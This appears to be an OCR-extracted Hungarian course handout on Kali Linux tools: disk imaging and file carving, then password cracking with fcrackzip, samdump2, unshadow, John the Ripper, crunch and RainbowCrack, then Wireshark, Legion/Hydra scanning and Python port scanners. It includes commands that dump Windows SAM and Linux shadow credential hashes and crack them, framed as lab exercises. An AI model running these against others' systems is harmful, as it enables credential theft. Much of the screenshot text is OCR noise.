Record a video or ta

Optical Drives 4
Audio >
Network 4

UsB * | @ USB Settings...

) Webcams > |
Trash v General UDisk [0100]
St budess X Logitech USB Keyboard [1210]| Vendor ID: ABCD
Shared Clipboard > Product ID: 1234

Revision: 0100
Serial No. /b
State: Captured

Drag and Drop 4

S @O0 PR GEE

Insert Guest Additions CD image...

File System

Eredetileg két png fajlom volt a pendrive -on, de egyet téréltem. A pendrive most a
kovetkez6képpen jelenik meg:



FCF7-749C - File Manager
File Edit View Go Help
r* A /media/kali/FCF7-749C/
DEVICES

_ﬂ File System m

© VBox_GAs_6...
4.2 GB Volume = VirtualBox_MSEdg
L e-

PLACES Win10_31_12_202
B kali 017 12 56.png

= | Desktop

'Tr‘ash

= Documents
Music
Pictures
Videos

@ Downloads
NETWORK

[ Browse Network
1item .8 KiB (480,011 bytes), Free spa

Készitslink egy lemezképet az usb meghajtérol.

az fdsik -1 hasznalataval hatarozzuk meg, hogy melyik eszkdz a pendrive. Az eszkdznevek
altalaban /dev /valami formatumban vannak. Esetlinkben ez a /dev /sdb1

A dd paranccsal masolatot készithet a meghajtorél.

if = a bemeneti paramétert hatarozza meg, az of= a kimeneti képfajl nevét hatarozza meg.
Egy harmadik paramétert hasznaltunk az elérehaladas megjelenitésére, mivel a folyamat
hosszu ideig is tarthat.



File Actions Edit View Help

- /home/kali/Documents

Disk /dev/sda: 80 GiB, 85899345920 bytes, 167772160 sectors
Disk model: VBOX HARDDISK

Units: sectors of 1 # 512 = 512 bytes

Sector si L/physical): 512 bytes / 512 bytes

I/0 size (minimum/optimal): bytes / 512 bytes

Disklabel type: dos

Disk identifier: @=e

End Sectors Size
16 796G 83
S75M Extended
975M 82 Linux swap / Solari

Disk /dev/sdb: 7.5 GiB, 8053063680 bytes, 15728640 sectors
Disk model: UDisk
Units: sectors of 1 % 512 = 512 bytes

or size (logical/physical): 512 bytes / 512 bytes
/0 size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: @x=63c4688c

Device Boot Start End Sectors Id Type
fdev/sdbl = 2048 8194047 8192000 6 FATI16

/home/kali/Documents
'sdbl of=./backup.img status=

3.9 GiB) copied,

/home/kali/Documents

Ezt a lemasolt lemezképet fogjuk vizsgalni.

A folyamat neve carving (faragas). Azt a értjlik alatta, hogy helyre kell allitani a fajlokat egy
fizikai taroldeszkdzrél a fajlok torlése, az eszkdz torlése vagy az eszkdz részleges
megsemmisitése utan. Ezen a ponton az eszk6zon 1évd adatok csak ugy néznek ki, mint a
"nyers bajtok" sorozata — ez az a bajtsorozat, amely nem tartalmaz informaciét arrél, hogy hol
kezd6dik vagy végz6dik ebben a fajl vagy fajlok.

Szamitégépek esetén a fajl "torlése" nem feltétlendl jelenti azt, hogy a fajlban tarolt adatok (a
fajlt tartalmazo bajtok) eltlintek. A fajlrendszerek megjeldlik fajlt (annak nevét és adatait), hogy
szabadon felhasznalhaté. Ezek a bajtok allokalatlan teruletté ("unallocated space”.) valnak.

A fajl bajtblokkbdl valo ,kifaragasahoz” az alkalmazasnak meg kell keresnie a fajl fejlécét (és
a fajltipustdl fiiggben a lablécét). Példaul a PNG -fajl fejléce (hexadecimalis formaban) 89 50
4e 47, a labléce pedig 49 45 4e 44 ae 42 60 82. Az alabbiakban egy példat mutatunk egy
meghajtéban 1évé adatteriilet egy darabjara. Ha alaposan megnézzik, észreveszink egy



PNG fejlécet és azt kdvetben egy PNG lablécet (kékkel jeldlve), és igy arra kdvetkeztethetiink,
a fejléc és labléc kozotti adat (sargaval jeldlve) egy PNG fajlt.

7/19|6|8|5|4|4/0|0|212|0|O0O|6 |6 |0|0(O0(|O0(|O0(|4 (44|46 |8 |3 |8]6
e|3]7]9]0]|]e]|7|7]|a|Ja|O0|O0|2|0|1|O0|O0|O0O|O|9|5|e|[4]|0]2]|]d]9]1

PNG header body PNG footer

Kalinak van egy carving eszkoze: a Scalpel. Alapértelmezés szerint minden fajltipus ki van
kommentezve. Nyisd meg a scapel.conf fajlt és térold ki a comment jelet (#) ahol a png fejléc
és labléc van megadva.

scalpel.conf

Open

85 # \ 5000000 \x47\x49\x46\x38\x37\x61 \x00\x3b

86 # i \ 5000000 \x47\x49\x46\x38\x39\x61 \x00\x3b

87 # \ 5242880 \xff\xd8\xff?22Exif \xffi\xdg REVERSE
88 # ) 5242880 \xFf\xdg\xff??7 \xffixd9 REVERSE
89 #

90 #

91 #

92 png ) 20000000 \x50\x4e\x47?  \xff\xfc\xfd\xfe

93 png 20000000 \x89\x50\x4e\x47 \x49\x45\x4e\x44\xae\x42\x60\x82|
94 #

95 #

96 # (used by MSWindows, use only if you have reason to think there are

97 # BMP files worth digging for. This often kicks back a lot of false

98 # positives
99 #

Most futtasd a Scalpel programot. Az elsé paraméter a bemeneti képfajl, a masodik paraméter
egy kimeneti kdnyvtar, amelynek tresnek kell lennie.

- /home/kali/Documents

/home/kali/Documents/backup.img /home/kali/Documents/carved

Mint [athatd, a Scalpel két fajlt talalt.

® /home/kali/Documents
lpel fhome/kali/Documents/backup.i /fhome/kali/Documents/c
version 1

V ten by Golden G. Richard III, based on Foremost @.69.

Opening target "/home/kali/Documents/backup.img”

and footer
" and footer

|'.t".*:*:t".t".*'.*'.t".*:*'.t".t'.i".*'.t".*'.*'.*:t:*'.*'.t".*'.*'.t".*:*:*'.t'.i".*'.t'**i**i***i**i***i**i**ii*.
ing of image f complete. ( ining up ...

el is done, files carved 2, elapsed 22 seconds.

A kimeneti mappat megnyitva mindkét fajl megtalalhato.



png-1-0 - File Manager
File Edit View Go Help

< ™~ A [home/kali/Documents/carved/png-1-0/

DEVICES
_E File System

© VBox_GAs_6...
4.2 GB Volume
PLACES

B kali
Desktop

' Trash

Password cracking
Hozzunk létre harom dokumentumfajlt doc1, doc2 és doc3 néven:

touch docl doc2 doc 3
Hozzunk létre egy jelszéval védett zip fajlt:
zip —-e documents.zip docl doc2 doc3

A jelsz6 legyen ‘password’ idézdjelek nélkal.

-[~/Documents ]
 zipCracking

|- ~/Documents ]
Cracking

-[~/Documents/zipCracking]
docl doc2 doc3

-[~/Documents/zipCracking]

docl docZ doc3

[j— -[~/Documents/zipCracking]
Z1 documents.zip docl doc? doc3
Enter password:

:|

Verify password:
adding: docl (stored @%)
adding: doc2 (stored
adding: doc3 (stored 0%)

[j— -[~/Documents/zipCracking]

docl doc2 doc3




El6szor egy szdlistas tamadast fogunk alkalmazni. Ha van egy adatbazisunk a gyakori
jelszavakrol, akkor ezeket a szavakat egyesével végig fogjuk probalgatni. Most egy ilyen
adatbazist fogunk hasznalni, ennek neve fasttrack.

fcrackzip -u -D -p ‘/usr/share/wordlists/rockyou.txt' documents.zip

[j_ J rdlists/fasttrack.txt' documents.zi
zsh: command not found: fc

ET— -[~/Documents/zipCracking]

Jusr/share/wordlists/fasttrack.txt' documents.zi

PASSWORD

A megadott jelszé egy masodperc alatt meglett.

Ezt a tipusu tamadast brute force (nyers erd) tAmadasnak nevezzuk. A virtualis gépen nagyon
id6igénye lehet

A fajl titkositasahoz hasznalt zip verzidjatdl figgéen az elsdé tiz vagy tizenegy baijt
véletlenszerl, majd egy vagy két bajt kdvetkezik, amelyek értékeit mashol tarolja a zip fajl, ez
el6re ismert. Ha ezeknek az utolsé bajtoknak nincs megfeleld (ismert) értéke, a jelsz6 biztosan
rossz. Ha a bajtok helyesek, akkor lehet, hogy a jelszd helyes, de az egyetlen mdédszer ennek
kideritésére a fajl kicsomagolasa, és a tdmdritetlen hossziusag és a CRC dsszehasonlitasa.

példaul:
fcrackzip -b -v -c a -| 8 -p paaaaaaa documents.zip
Masik szotarfajl is hasznalhaté pl.:

gunzip /usr/share/wordlists/rockyou.txt.

Windows jelszo feltorése

A Security Account Manager (SAM) egy adatbazisfajl a Windows 10/8/7/XP rendszerben,
amely titkositott formaban tarolja a felhasznaldi jelszavakat, amelyek a kdvetkez8 kényvtarban
talalhatok:

C:\Windows\system32\config

A jelszo feltdrésének elsé lépése a jelszavak hash-einek lekérése a SAM fajlbol. Ehhez egy
kulsé eszkdz szikseges, pl.:

https://www.openwall.com/passwords/windows-pwdump

Kali Linux segitségével is lementhet6 az adat. Linux boot DVD segitségével belépunk és
megvizsgaljuk melyik az elsédleges Windows particié

fdisk -1
A képernyén latszik, hogy ennek a neve

dev/sdal


https://www.openwall.com/passwords/windows-pwdump

root@kali: flhome/kali
File Actions Edit View Help

— |~

® /home/kali

Disk /dev/sda: 40 GiB, 42949672960 bytes, 83886080 sectors
Disk model: VBOX HARDDISK

Units: sectors of 1 * 512 = 512 bytes

Sector size (logical/physical): 512 bytes / 512 bytes

1/0 size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos

Disk identifier: 0xa@4afbal

Device Boot Start End Sectors Size Id Type
/dev/sdal =* 2048 83884031 83881984 40G 7 HPFS/NTFS/exFAT

Disk /dev/loop@: 2.94 GiB, 3155832832 bytes, 6163736 sectors
Units: sectors of 1 * 512 = 512 bytes

Sector size (logical/physical): 512 bytes / 512 bytes

I/0 size (minimum/optimal): 512 bytes / 512 bytes

® /home/kali
ntfs /dev/sdal /mnt]]

Hozzunk létre egy cél konyvtarat a mount kdnyvtarban
mkdir /mnt/source

Mountoljuk be a merevlemezt

mount /dev/sdal mnt/source/

root@kali: /mnt/Windows/System32/config
File Actions Edit View Help

Disk /dev/loop@: 2.94 GiB, 3155832832 bytes, 6163736 sectors
Units: sectors of 1 * 512 = 512 bytes

Sector size (logical/physical): 512 bytes / 512 bytes

I/0 size (minimum/optimal): 512 bytes / 512 bytes

2® /home/kali
ntfs /dev/sdal /mnt

/home/kali

/mnt

Recovery

swapfile.sys
s em. Volume Information’

Iotrlgr
BOOTNXT
BOOTSECT.BAK

@
Windows/System32/confi

2 /mnt/Windows/System32/config




Lepjlnk be a Windows SAM fjjlt tartalmazo kényvtarba

cd /target/windows/system32/config

A SamDump2 kinyeri ajelszavak has értékeit és beirja a root felhasznal6 konyvtaraba.
samdump? system SAM > /root/hashes/hash.txt

samdump? system sam -o out

Néhany példat az alabbi cimen talalunk https://openwall.info/wiki/john/sample-hashes.

Magahoz a feltéréshez a “John the Ripper” nevil eszkdzt hasznaljuk. A menliben elérheté:

B lomrl=|
Q|
%) Favorites

@ Recently Used

I Al Applications

« Offline Attacks
« Online Attacks
» Passing the Hash tools

? Settings I .
= « Password Profiling & Wordlists

I Usual Applications

cewl
ﬂ crunch
g hashcat
]n;‘!n john
8 medusa
&Q ncrack
ophcrack

W wordlists

Q 01 - Information Gathering
@n 02 - Vulnerability A

@ 11 - Forensics
12 - Reporting Tools

T8 Kali

John the Ripper 4 jelszéfeltdrési médot tamogat:

1. Egyszer(i crack méd: az entitasokat lehetséges jelszavaknak tekinti.

2. Szolista mod: Minden sz6t végig prébal a szolistaban.

3. Noévekményes mod (Brute-Force attack): Minden lehetséges karakterkombinaciot kiprobal.

4. Kuls6 moéd: Az alkalmazas egy programot hasznal, amely generdlja a lehetséges
jelszavakat.

Nézzik, hogyan torjik fel az alabbi Windows jelszot:

Futtassuk John the Ripper-t

john —format=NT —single ~/Documents/pwdhash.txt

NT a windows jelsz6 formatumot jelenti.



Using default input encoding: UTF-8
Loaded 1 password hash (NT [MD& !
No password hashes left to crack

£

password hash cracked, @ left

~

Magat a jelszét igy jelenithetjik meg:
john -show -single ~/Documents/pwdhash.txt

Mint lathatd, az ,u0” felhasznalé jelszava 12345

Linux jelszé feltorése

El6szdr hozzunk létre egy masolatot a jelszé- és shadow (arnyék) fajlokrél John shadow
parancsaval. Ehhez root jogosultsagokra van szukség.

unshadow /etc/passwd /etc/shadow > mypasswd

[¢
[j_ w S f.“ W f-_ mypasswd

fopen:

] /home/kali
etc/passwd /etc/shadow mypasswd

Az egyszerlség kedvéért hasznaljuk az alapértelmezett bedllitasokat. Mivel a masolat neve
mypasswd, a parancs a kdvetkezd:

Jjohn mypasswd



/home/kali

Using default input encoding
Loaded 1 password hash (sha512crypt, crypt(3) $6% [SHA512 12
( : or all loaded hashes

:5ingle
almost any other key for status

Ha lefutott a folyamat, az eredmény megtekinthetd:

john - show mypasswd

@ /home/kali

mypasswd
kali:kali:1000:1000:Kali,,,:/home/kali:/usr/bin/zsh

1 password hash cracked, @ left

Ha szdlistat szeretnénk hasznalni, akkor megadhatjuk annak fajlnevét:

john --wordlist=password.lst --rules mypasswd

Szolista létrehozasa jelszd toréshez

A sajat szdlista létrehozasahoz hasznaljuk a crunch-ot. A Crunch a megadott feltételek alapjan
létrehoz egy szdlistat. A crunch kimenete elkildhetd a képernyére, a fajlba vagy egy masik
programba.

hasznalat: crunch <min> <max> [options]
ahol min és max egy-egy szam.
A sugoban szamos jo példa talalhato, amely megkonnyit a hasznalatot.

1. Példa

crunch 1 8

A crunch egy szdlistat jelenit meg, amely a -val kezd6dik és zzzzzzzz -vel végz8dik

2. Példa

crunch 1 6 abcdefg

A crunch egy szdlistat jelenit meg az abcdefg karakterkészlettel, amely a -val kezd6dik és
0ggggg -vel végzédik.

3. Példa
crunch 1 6 abcdefg)\

a karakterlanc végén szokdz van. Annak érdekében, hogy a crunch érzékelje a szokozt, a \
karakter segitségével eszképeli azt. Ebben a példaban idézdjeleket is tehetink a betlk kore,



és akkor nem kell a \, azaz "abcdefg ". Eredményként a Crunch egy szdlistat jelenit meg az
abcdefg karakterkészlettel, amely a -val kezd6dik és (6 szokozzel) végzodik.

4. Példa

crunch 8 8 —-f charset.lst mixalpha-numeric-all-space -o wordlist.txt -t
@QRdog@@@ -s cbdogaaa

A crunch-nak létre kell hoznia egy 8 karakterbdl all6 szolistat a charset.Ist-bél szarmazo
karakterkészlettel, és a szolistat a wordlist.txt nevd fajlba ell irja. A fajl cbdogaaa -val kezdédik
és" dog "avégzddése

5. Példa

crunch 2 3 -f charset.lst ualpha -s BB

crunch elkezdi a szodlista generalasat BB-nél és ZZZ nél fejezi be

6. Példa

crunch 4 5 -p abc

A szdmok nincsenek feldolgozva, de szikségesek. Crunch ezt generalja: abc, acb, bac, bca,
cab, cba.

7. Példa

crunch 4 5 -p dog cat bird

A szamok nincsenek feldolgozva, de szikségesek. Crunch ezt generdlja: birdcatdog,
birddogcat, catbirddog, catdogbird, dogbirdcat, dogcatbird.

Szivarvany tablak (Rainbow tables)

A szivarvanytablak specialis szétartablak (adatbazisok), amelyek hash értékeket tartalmaznak
a sima szoveges szoétari jelszavak helyett. ezekkel hajtjuk végre a tamadast. A kdvetkez6
példa a RainbowCrack segitségével szivarvanytablat készit.



Jhome/kali

ck Project. All rights reserv
ick . com/

./recrack path [path] [ ... ] -h hash

./rc k path [path] [ ...]1 -1 hash_list file

./rcrack path [path] [ ... ] -1m pwdump_file

./rcrack path [path] [ ... ] -ntlm pwdump_file

directory where rainbow tables (#.rt, *.rtc) ar

-h hash: load single hash
-1 hash_list_file: load hashes from a file, each hash in a line
-Im pwdump_file load 1m hashes from pwdump file
-ntlm pwdump_file: load ntlm hashes from pwdump file

implemented hash algorithms:
lm HashlLen=8 PlaintextlLen=08-7
ntlm HashLen=16 PlaintextlLen=¢{
md5 HashlLen=16 Plainte
shal HashlLen=28 Plaint Len
sha256 HashlLen=32 PlaintextlLen=

examples:

ainbowCr Project. ALl rights reserv
rainbowe .com/

rt2rtc path [-s start_point_bits] [-e end_point_bits] [-c chunk_size_in_mb]
start_point_bits
end_point_bits

chunk_size_in_mb

2 /home/kali

L1 rights reserved.

Jrtc2rt path

A szivarvany tablak generalasa nagyon id6igényes.



/home/kali
roject. All rights reserved.
com/

charset plai len_min plain e L 1ain_len chain_num part_index
charset plai len_min plain e EL —-bench

md5 a 7 @ 1000 1000 @
md5

Védekezeés a szivarvany tablak ellen

A szivarvany tablak nem hatékonyak azoknal az egyiranyu hash algoritmusknal, ahol nagy
méretl ,s0” segitségével torténik a kodolas. Tehat adj egy kis “sét” a jelsz6hoz és annak a
hash-jat generaljuk le:

saltedhash(password) = hash(password + salt)

A nagy meéretli s6 az elbre kiszamithato tablakat elronthatja.

Wireshark

A Wireshark egy csomag lehallgaté és elemzé eszkdéz. A ,csomag” egy darab Uzenet
valamilyen halézati protokollbdl is (azaz TCP, DNS stb.). A Wireshark rogziti a halozati
forgalmat a helyi halézaton, és eltarolja ezeket az adatokat offline elemzéshez. az adatforras
lehet:

e FEthernet,

e Bluetooth,

e Wireless (IEEE.802.11),
e Token Ring, etc.

A Wireshark kezd6képernydje:



File Edit View Go Capture Analyze Statistics Telephony Wireless Tools
A n 7@ X @ ]

L] |.&_p|: y a display filter ...

Help

— =7 sEEaaar

—-

=Cftrl-j>

Welcome to Wireshark

Capture

...using this filter: | |E'1t5-' a capture filter ...

Loopback: lo
P s

any
bluetooth-maonitor
nflog

nfqueue
dbus-system

dbus-session
@) Cisco remote capture: ciscodump
@ DisplayPort AUX channel monitor capture: dpauxmon
@ Random packet generator: randpkt
@ systemd Journal Export: sdjournal
@ 55H remote capture: sshdump
@) UDP Listener remote capture: udpdump

Az abran az ethO adapter mellett egy kis grafikon lahato. Ez azt jelenti, hogy az ethO adapter
halézati forgalmat bonyolit. Ha kett6ét kattintunk az adapterre, akkor a forgalmi adatok oldal
jelenik meg.

Capturing from eth0

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

a N s . B =
m e XE QemdES IS EQQQE
L] "‘App y a display filter ... <Ctrl-/>
No. Time Source Destination Protocol Lengtt Info
28 12.751544880 fe80::29a3:cebf:6ac.. TfB2::fb MDNS 90 Standard query 0x0000 A wpad.local, "QM" guestion
29 12.752144010 fe80::29a3:.cebf:6ac.. ff02::1:3 LLMNR 84 Standard query 0xa2b@ A wpad
38 12.752144138 192.168.1.104 224.0.0.252 LLMNR 64 Standard query @xa250 A
31 13.156127626 Dell_Bc:ef:58 Broadcast ARP 68 Who has 192.168.1.1117 Tell 192.168.1.180
32 13.177415638 fe80::29a3:cebf:Bac.. ffB2::1:3 LLMNR 84 Standard query 0xa258 A wpad
33 13.177415725 192.168.1.104 224.0.8.252 LLMNR 64 Standard query 0xa250 A wpad
34 13.493885761 192.168.1.104 192.168.1.255 NBNS 92 Name query NBE WPAD<Q@>
35 13.576887967 fe80::29a3:cebf:6ac.. Tf02::16 ICMPVE 90 Multicast Listener Report Message v2
36 13.601910099 fes Gac.. f02::16 ICMPVE 90 Multicast Listener Report Message v2

37 13.601910201

1cebf:
el

38 13.602547072

a3
192. 168 1.104

:6ac..

702:116

90 Multicast Listener Report Message v2

ICMPVE

90 Multicast Listener Report Message v2

39 13.604955526 224.0.0.251 MDNS 81 Standard query @x0080 ANY DESKTOP-NI1UVMHE.local, "QM" question
48 13.6049556717 fe80::29a3:cebf:6ac.. TF@2::Th MDNS 101 Standard query @xB880 ANY DESKTOP-N1UVMHE.local, "QM" question
41 13.606031520 192.168.1.104 224.0.0.251 MDNS 119 Standard query response @xP080 AAAA TeB8@::29a3:cebf:Bac5:768a A 192.168.1.1684
42 13.605489798 fe80::29a3:cebf:Bac.. ffB2::fb MDNS 139 Standard query response @x0080 AAAA feB@::29a3:cebf:Bac5:768a A 192.168.1.164
43 13.605585852 fe80::29a3:cebf:Bac.. ff02::1:3 LLMNR 95 Standard query @xccbc ANY DESKTOP-NiUVMHE
44 13.605585927 192.168.1.104 224.0.8.252 LLMHR 75 Standard query @xccbc ANY DESKTOP-Ni1UVMHB
AR 42 TA1ARIRA1 faffi* 2022 rohf Rar ffRA2:+Fh MNNS Qan _Standard auaru AvARAA A wmad Tncal "M" _nneetian
Frame 37: 90 bytes on wire (728 bits), 90 bytes captured (728 bits) on interface eth®, id @

Ethernet II, Src: IntelCor_b6:2f:al (7c:b®:c2:b6:2f:al), Dst: IPvBmcast 16 (33:33:00:00:00:18)
Internet Protocol Version 6, Src: TeB@::29a3:cebf:6ac5:76Ba, Dst: ffe2::16
Internet Control Message Protocol vé

Miutan rogzitettink néhany csomagot, vagy megnyitottunk egy korabban mentett rogzitési
fajlt, megtekinthetjiik egy adott csomag adatait a csomagok listajabél. Ehhez egyszeriien
rakattintunk egy csomagra, a z eszk6z ekkor megjeleniti a kivalasztott csomagot fa nézetben
és bajt nézet ablakban.

A fa barmely részét tovabb bonthatjuk és részletes informaciét tekinthetink meg egyes
csomagok protokolljairdl. A fa egy elemére kattintva bajt nézetet kapunk- Példaul egy TCP
csomag kivalasztasa lathaté az abran. Az Uzente fejléce is szamos informaciét ad [3].



Wireshark  Packet 1015 - eth0

» Frame 1015: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) on interface ethd, id @
» Ethernet II, Src: PcsCompu_ab:e8:ic (98:00:27:ab:@8:1c), DSt: Tp-LinkT al:Sc:ae (74:ea:da:al:Sciae)
» Internet Protocol Version 4, Src: 192.168.1.102, Dst: 52.84.169.5
~ Transmission Control Protocol, Src Port: 47198, Dst Port: 443, Seq: 1, Ack: 1, Len: O
Source Port: 47198
Destination Port: 443
[Stream index: 6]
[TCP Segnent Len: 0]
Sequence number: 1 (relative sequence number)
Sequence number (raw): 2817811438
[Next sequence number: 1  (relative sequence number)]
Acknowledgnent number: 1 (relative ack number)
Aoknowleagnent nunber (rav): 208702100
... = Header Length: 32 bytes (8)
» Flagsi 0x010 (ACK)
Window size value: 502
[Calculated window size: 64256]
[Window size scaling factor: 138]
Checksun: 0x638e [unverified]
[Checksum Status: Unverified]
Urgent pointer: 8
) Options: (12 bytes), No-Operation (NOP), No-Operation (WOP), Timestamps
) [SEQ/ACK analysis]
» [Timestanps]

74 ea 3a al 5c ae 08 80 27 ab B8 1c B8 00 45 00 i\ E
00 34 c2 44 40 00 40 06 15 18 c0 aB 01 66 34 54  4-D0-@ 4T
60 05 b8 Se 0L bb a7 r4 63 ee @c 70 8a 9d 80 10 m- A cop

6030 1 6 63 8e 0@ 60 01 [ ©8 Ga 1b d3 16 4f 3e 8e cff 0>
€111

[ X close || 52melp

Az adatoszlopok adatait részletesen a felsé rész mutatja [2]:

No.: Ez a rogzitett adatcsomag sorszama. A zardjel azt jelzi, hogy ez a csomag egy
beszélgetés része.

Id6: Ez az oszlop azt mutatja meg, hogy a rogzités megkezdése 6ta mikor rogzitették ezt a
csomagot. Ezt az értéket a Beallitdsok menuben modosithatjuk.

Forras: Ez a csomag cimét kildé rendszer cime.

Cél: Ez a csomag cimzettjének cime.

Protokoll: Ez a csomag tipusa, példaul TCP, DNS, DHCPv6 vagy ARP.
Hossz: Ez az oszlop a csomag hosszat mutatja bajtban.

Informacioé: Ez az oszlop tovabbi informacidkat tartalmaz a csomag tartalmardl, és attol
fuggben valtozik, hogy milyen csomagrol van szé.

Ha a hélozati forgalmat vizsgaljuk akkor rengeteg csomagot fogunk latni. A Wireshark két
modszerrel csdkkenti az elemzendd adatok mennyiségét:

o felvételi sz(rék és
e nézet szlrék
alkalmazasaval.

Ha egy adott gazdagép forgalmat szeretnéd régziteni, ird be
host 192.168.1.101
Egy port tartomany megadasa:

net 192.168.1.100/24

Megadhatsz egyedi port szamokat is pl.: Domain Name Services port (53)

port 53



Szamos statisztika all rendelkezésre:

File Edit View Go Capture Analyze Telephony Wireless

A A mORE
(W] current filter: tcp
No. Time Source

1016 639.795853729 192.168.1.102

639.811859478
639.813374465
639.813404527
639.813853872
639.813873353
639.820149630
639.820448384

52.84.109.5
52.84.109.5
192.168.1.1602
52.84.109.5
192.168.1.1602
192.168.1.102
192.168.1.102

1019
1020
1021
1022
1023

.168.1.1
52.84.1089.5
52.84.1089.5

1627
1628

1629
120

639.838987594
639.838987664
639.840585901 52.84.109.5

R0 QANARAZANT 4107 1R8 1 41072

» Frame 1@15: 66 bytes on wire (528 b
v+ Ethernet II, Src: PcsCompu_ab:@8:1c
v+ Internet Protocol Version 4, Src: 1
» Transmission Control Protocol, Src
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Legion egy sebezhettség ellendrzé eszkdz.

File Help
scan | Bute
Hosts ‘ Services | Tools Services | Scripts | Information = CVEs | Notes | smbenum (445/tcp) <
Port Protacol State Name Version
o 135 tep open msrpc Microsoft Windows RPC
® 137 udp apen netbios-ns Microsoft Windows netbios-ns (workgroup: WORKGROUF)
® 139 tep open netbios-ssn  Micrasoft Windows netbios-ssn
@ 445 tep apen microsoft-ds  Microsaft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
. &
Processes | Log
Progress  ~  Elapsed Est. Remaining Pid Tool Host Status
I 1.82s 0.00s 2589 nmap (stage 1) 192.168.1.100 Finished
Iy 110.185 0.00s 2593 nmap (stage 2) 192.168.1.100 Finished
I 4.33s 0.00s 2603 smbenum (4... 192.168.1.100 Finished
D 99.045 0.965 2602 nmap (stage 3) 192.168.1.100 Running




Miutan megadtad az ellenérizend® IP -tartomanyt, a Legion &sszegylijti az adatokat a
szamitogéprél.
Add host(s) to scan seperated by semicolons - 0O x

192.168.1.100

IP(s), Range(s), and Host(s)

Ex: 192.168.1.0/24; 10.10.10.10-20; 1.2.3.4; bing.com

Mode Selection

®) Easy Hard

Easy Mode Options

V| Run nmap host discovery V| Run staged nmap scan

Timing and Performance Options

Paranoid Sneaky Polite Normal Aggressive Insane

Submit @ cancel

Szamos beallitas all rendelkezésre:

File Help

Scan Brute

Hosts | Services  Tools Services  Scripts | Information = CVEs  Notes = smbenum {445/tcp) [ smbenum (445/tcp) [ screenshot (1947/tcp | ¥
0s Host n
Host Status Addresses Location
%) 192.168.1.100 (unknown) IPv4: 192.168.1.100
State: up 1PvB: unknown Country Code: unknown
Open Forts: 10 MAC: D4:BE:D9:8C:EF:58 City: unknown
Vendor: Dell
Closed Ports: 0 ASN: unknown Latitude: unknown
ISP: unknown
Filtered Ports: 65525 Longitude: unknown

Operating System
Name: Microsoft Windows Server 2008 R2 or Windows 8.1
Accuracy: 100

e % &

Van brute force tamadasra is lehet6ség:



File Help

Scan | Brute ‘

i |

P [192.168.1.100 | Port |22 | service | rlogin = [ stop |

V| Try blank password |v| Try login as password v Loop around users v/ Exit on first valid v/ Verbose Additional Options

) Username | oot | ) username list | || Browse | (® Found usernames

) Password  |password | ) password list | || Browse | (® Found passwords Threads |16 ~

Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws
and ethics anyway).
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Processes Log

Progress =~ I d Est. ini Pid Tool Host Status <
I 1.825 0.00s 2589 nmap (stage 1) 192.168.1.100 Finished
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0.00s 26 smbenum (4... 192.168.1.100 Finished
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[3] https://www.wireshark.org/docs/wsug _html_chunked/ChapterWork.html
[4] https://www.openwall.com/john/doc/EXAMPLES.shtml

Biztonsagi eszkdzok irasa python nyelven

Python port scanner
https://www.geeksforgeeks.org/port-scanner-using-python/

import pyfiglet

import sys

import socket

from datetime import datetime

ascii banner = pyfiglet.figlet format ("PORT SCANNER")
print (ascii banner)

# Defining a target
if len(sys.argv) == 2:

# translate hostname to IPv4

target = socket.gethostbyname (sys.argv([1l])
else:

print ("Invalid ammount of Argument")


https://tools.kali.org/tools-listing
https://www.varonis.com/blog/how-to-use-wireshark/
https://www.wireshark.org/docs/wsug_html_chunked/ChapterWork.html
https://www.openwall.com/john/doc/EXAMPLES.shtml
https://www.geeksforgeeks.org/port-scanner-using-python/

# Add Banner

print("-" * 50)

print ("Scanning Target: " + target)

print ("Scanning started at:" + str(datetime.now()))
print("-" * 50)

try:

# will scan ports between 1 to 65,535

for port in range (1, 65535):
s = socket.socket (socket.AF INET, socket.SOCK STREAM)
socket.setdefaulttimeout (1)

# returns an error indicator
result = s.connect ex((target,port))
if result ==
print ("Port {} is open".format (port))
s.close ()

except KeyboardInterrupt:
print ("\n Exitting Program !!!!")
sys.exit ()

except socket.gaierror:
print ("\n Hostname Could Not Be Resolved !!!!™)
sys.exit ()

except socket.error:
print ("\ Server not responding !!!!")
sys.exit ()

Port szkenner python-nmap segitségével
https://www.geeksforgeeks.org/port-scanner-using-python-nmap

Elsé 1épés a telepités:

pip install python-nmap

import nmap

# take the range of ports to

# be scanned

begin = 75

end = 80

# assign the target ip to be scanned to
# a variable

target = '127.0.0.1"

# instantiate a PortScanner object
scanner = nmap.PortScanner ()

for i in range(begin,end+1) :

# scan the target port
res = scanner.scan(target,str(i))

# the result is a dictionary containing


https://www.geeksforgeeks.org/port-scanner-using-python-nmap

several information we only need to

check if the port is opened or closed

so we will access only that information
in the dictionary

res = res['scan'] [target] ['tcp']l[i]['state']

e

print (f'port {i} is {res}.')

Egy masik port szkenner kodja megtalalhatd a kdvetkezd linken

https://github.com/YaokaiYang-assaultmaster/py3PortScanner



https://github.com/YaokaiYang-assaultmaster/py3PortScanner

Python altalanos UDP és TCP szkenner
https://github.com/drakeloud/pythonScanner

#!/usr/bin/python
from _ future  import print function

import argparse

import os

import socket

import sys

from datetime import datetime

from netaddr import IPNetwork

# Set up argparse

parser = argparse.ArgumentParser ()
parser.add argument ("hosts")
parser.add argument ("ports")

parser.add argument ("-u", "--UDP", help="Perform a UDP scan on the ports
specified", action="store true")

parser.add argument ("-t", "--traceroute", help="Use traceroute with the
scan", action="store true")

args = vars (parser.parse_args())

# Start timer! woo hoo!
timeOne = datetime.now ()

# Clean the ports that you received
portsUgly = args|['ports']

ports = portsUgly.split(",")

UDP = args|['UDP']

hostValue = args['hosts']

hosts = []

def clear screen():

Clear screen that handle multiple O0OS.
if os.name == 'nt':

os.system('cls')
else:

os.system('clear"')

def scan_ports (host):

Function to get the ports for every host
try:
for port in ports:
# Goes through each port in range
port = int (port)
# Here's the scan of the port
if UDP:
sock = socket.socket (socket.AF INET, socket.SOCK DGRAM)

else:


https://github.com/drakeloud/pythonScanner

sock = socket.socket (socket.AF INET, socket.SOCK STREAM)
result = sock.connect ex((host, port))

if UDP:
if result ==
print ("UDP Port {}: \t Open".format (port))
else:
if result ==
print ("TCP Port {}: \t Open".format (port))
sock.close ()

# Error handling if something goes bad
except socket.gaierror:
